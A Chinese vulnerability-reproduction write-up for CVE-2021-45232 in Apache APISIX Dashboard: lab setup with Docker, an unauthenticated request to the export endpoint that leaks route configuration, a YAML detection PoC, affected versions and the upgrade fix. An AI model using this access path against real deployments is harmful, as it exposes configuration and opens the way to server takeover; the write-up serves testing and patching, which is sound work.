###CVE-2021-45232:Apache APISIX Dashboard 漏洞复现
一、漏洞分析
1.1 漏洞描述
APISIX 是一个高性能、可扩展的微服务 API 网关,基于 nginx(openresty)和 Lua 实现功能,借鉴了 Kong 的思路,将 Kong 底层的关系型数据库(Postgres)替换成了NoSQL 型的 etcd。Apache APISIX Dashboard 设计的目的是让用户通过前端界面尽可能轻松地操作 Apache APISIX。
Apache APISIX Dashboard 有些接口直接使用了 gin 框架导致未授权访问进而可导致远程代码执行,攻击者可利用该漏洞在未授权的情况下,构造恶意数据执行远程代码执行攻击,获取服务器控制权限。
1.2环境搭建
拉取官方docker文件
git clone https://github.com/apache/apisix-docker.git
切换到example目录
cd apisix-docker/example
修改apisix-dashboard版本
修改为image: apache/apisix-dashboard:2.9.0
vim docker-compose.yml
启动环境
docker-compose -p docker-apisix up -d
接下来进行一些简单配置,模拟实战环境
默认登陆地址:ip:9000
默认用户名密码:admin/admin
切换路由选项,选择创建
名字可以随便起,一会能用到
目标节点自己随便写,直接下一步
以下步骤均选择下一步,直接提交即可
路由界面即可看到我们的配置
1.3 漏洞复现
直接访问
http://127.0.0.1:9000/apisix/admin/migrate/export
看一下,正是我们刚刚配置的路由,已经泄漏出来
POC编写
params: []
name: CVE-2021-45232:Apache APISIX Dashboard
set: {}
rules:
- method: GET
path: /apisix/admin/migrate/export
headers: {}
body: “”
search: “”
followredirects: false
expression: response.status == 200&&response.body.bcontains(b”Consumers”) groups: {}
detail:
author: “”
links: []
description: “”
version: “”
二、影响范围
2.7 ≤ Apache APISIX Dashboard < 2.10.1
三、解决方案
升级至Apache Apisix Dashboard至最新版本
四、参考链接
https://github.com/wuppp/apisix_dashboard_rcehttps://github.com/apache/apisix/blob/master/docs/zh/latest/architecture-design/script.md https://blog.csdn.net/weixin_44411509/article/details/122292459 https://mp.weixin.qq.com/s/9HjypVz5elzyyjLfxFsz9Q
五、遇到的问题
在修改image: apache/apisix-dashboard:2.9.0时,只修改版本信息
其他不变的情况下,会报拒绝连接,
查询资料说要赋予权限,于是sudo docker-compose -p docker-apisix up -d
仍然报错,再次查询报错原因,发现应该是缺少apache/apisix-dashboard:2.9.0-alpine,于是想着把alpine去掉再试一下,结果就成功了。
请登录后查看回复内容